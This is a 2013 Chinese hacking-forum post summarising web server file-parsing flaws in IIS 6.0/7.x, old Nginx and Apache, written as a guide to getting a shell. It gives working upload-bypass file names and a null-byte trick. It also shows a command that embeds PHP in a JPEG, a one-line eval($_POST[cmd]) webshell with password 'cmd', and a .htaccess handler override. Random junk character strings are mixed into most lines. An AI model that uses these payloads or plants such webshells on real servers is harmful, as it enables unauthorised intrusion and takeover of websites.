找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2524|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain: {' ^; I( ^2 U2 J( w+ ]  u5 V
[+]IIS6.0) T$ [7 i2 o6 J  y0 q) T9 C- l9 i
$ e. q9 P1 ~8 }5 T" O5 [: W" ^
目录解析:/xx.asp/xx.jpg
: `7 s$ }4 l# {* P- J xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码. {2 S& {% y( O2 V) e* N( K) O. G
IIS6.0 会将 xx.jpg 解析为 asp 文件。
! f! E( ^7 L  _5 T: x0 S后缀解析:/xx.asp;.jpg     
, L0 Z- \# i) a$ F& \3 C IIS6.0 都会把此类后缀文件成功解析为 asp 文件。: q& o6 ]# f) F! j; ]; J* @
默认解析:/xx.asa4 S, S# k; z; m* I
         /xx.cer
0 e1 j2 G" K6 V/ v         /xx.cdx1 B: e9 Y6 s% j1 L9 R9 x( a7 A2 S
IIS6.0 默认的可执行文件除了 asp 还包含这三种) X1 @0 w+ y5 L& e1 A, V% U2 g
此处可联系利用目录解析漏洞
9 r+ D) O- D+ s) r$ M# ]- C. m8 f/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
$ \. n6 T9 c% M: O6 d: J  O[+]IIS 7.0/IIS 7.5/Nginx <0.8.03/ K1 p; K: O$ j8 h/ {* Q* ~

0 U9 q" v0 m* E4 u IIS 7.0/IIS 7.5/Nginx <0.8.03
' g) X3 W# Z+ J6 I+ g/ ` 在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面
  E5 W# M6 I4 E# r' _9 X$ d 加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。% T  w+ {1 E0 [5 [
常用利用方法:6 F% Y8 e; l$ Q/ a4 ?
将一张图和一个写入后门代码的文本文件合并将恶意文本* U3 Y% d, P* G, w
写入图片的二进制代码之后,避免破坏图片文件头和尾
1 p% k% f# z3 `. P( z 如:
3 b; p. L4 m& @& `0 ~% }1 k+ }) ^3 v copy xx.jpg /b + yy.txt/a xy.jpg# @" T7 w) G* ^" l
#########################################################
$ n1 l# t- x: Y /b 即二进制[binary]模式
! W- u+ q) ^2 Z- b6 @6 V /a 即ascii模式
) B. t6 `5 \. e2 E8 y, A xx.jpg 正常图片文件. a1 c; P8 ~* [9 W/ E, B$ l4 w% `
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),, h0 g  b% V5 C& @  C
'<?php eval($_POST[cmd])?>');?>0 x+ U) I- ?- c) p. X) Q
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
7 Y5 l: ?2 I7 Z7 o 为shell.php的文件
* J( A) D0 M: i1 n1 g+ l ###########################################################- ?2 ]- r/ m; l% J5 E* n
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 1 K5 r0 K! r9 E' C
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php
2 W1 `$ W% I, U6 R 密码 cmd- R7 O1 F8 U% u# `) Z
[+]Nginx <0.8.03
0 h  Q+ d, k: J 0 o6 |0 O7 o, b2 x: ^
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞* @: y+ A$ B. f4 h- z
在一个文件路径(/xx.jpg)后面加上%00.php3 n, r% n9 E% ]
会将 /xx.jpg%00.php 解析为 php 文件。2 k6 M. {- J5 K' Z) C' n1 V) c
[+]Apache<0.8.036 w6 ?( C0 t" s" D: u3 C# u/ c. t

2 M  S  I6 G. U+ M; j# H5 C5 b 后缀解析:test.php.x1.x2.x3) {& `. C6 l' F; }6 h/ P
Apache将从右至左开始判断后缀,若x3非可识别后缀,
! a2 h6 i# R8 o7 P8 t! O, c7 A/ R 再判断x2,直到找到可识别后缀为止,然后将该可识别
1 \- m+ N0 q- [4 w  ]0 l" U 后缀进解析test.php.x1.x2.x3 则会被解析为php
* m4 d$ x7 e  J! E6 L 经验之谈:php|php3|phtml 多可被Apache解析。3 X( {' `* ^& c" M9 X2 s
[+]其他一些可利用的
+ T0 u& M+ a- U* Q. l : v% W1 h6 b* ?6 w; X) K
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的2 n. F5 f6 B  @/ i
若这样命名,windows会默认除去空格或点,这也是可以被利用的!
7 O4 {  x6 ^4 M7 c& Y4 p在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
; l6 I/ O6 B6 B( ^; H4 y或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
  d3 u, i/ X# V- D. x* U8 v得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。/ y" e$ w1 H# p+ U  x9 `1 T1 r8 A
{Linux主机中不行,Linux允许这类文件存在}3 w. E9 T! @" F  o
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说+ V- X8 k0 @, w# i6 G
的,当初我并不知道),且可以被上传,那可以尝试在5 H! s* g+ c( }% f0 r5 `# ]
.htaccess中写入:
: y7 u0 v) n4 M! h( Q* E<FilesMatch “shell.jpg”> 8 l: Q0 F. e& ^
SetHandler application/x-httpd-php
) U" F& g5 G9 ~9 m0 u7 ~8 c+ y</FilesMatch>
% x" \* I2 a7 Q' m/ Cshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件& n. o7 ]6 ]& o
[+]错误修改+ n* X" B; @6 e

% C" U# Z7 q/ e7 y- I在 IIS 6.0 下可解析 /xx.asp:.jpg9 t: D0 S, G' ^/ Z+ Q
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去4 {$ V" ~8 i7 O% q3 F7 W# U
剩下/xx.asp}修改:
( p" D- y5 d  L% d! \先谢谢核攻击的提醒0 P3 J8 O" ?% m* b" Y
当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp- U+ v% e6 C2 J7 L& ~
里是没有任何内容的,因为。。不好解释 大家自己看
5 y$ Y) |4 n. {, \. Y' Phttp://lcx.cc/?i=2448
) J! B$ \! `( @+ f2 lhttp://baike.baidu.com/view/3619593.htm
! g- h* w' s; y' {. l4 @) r
/ L3 d' l2 `7 z7 W
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表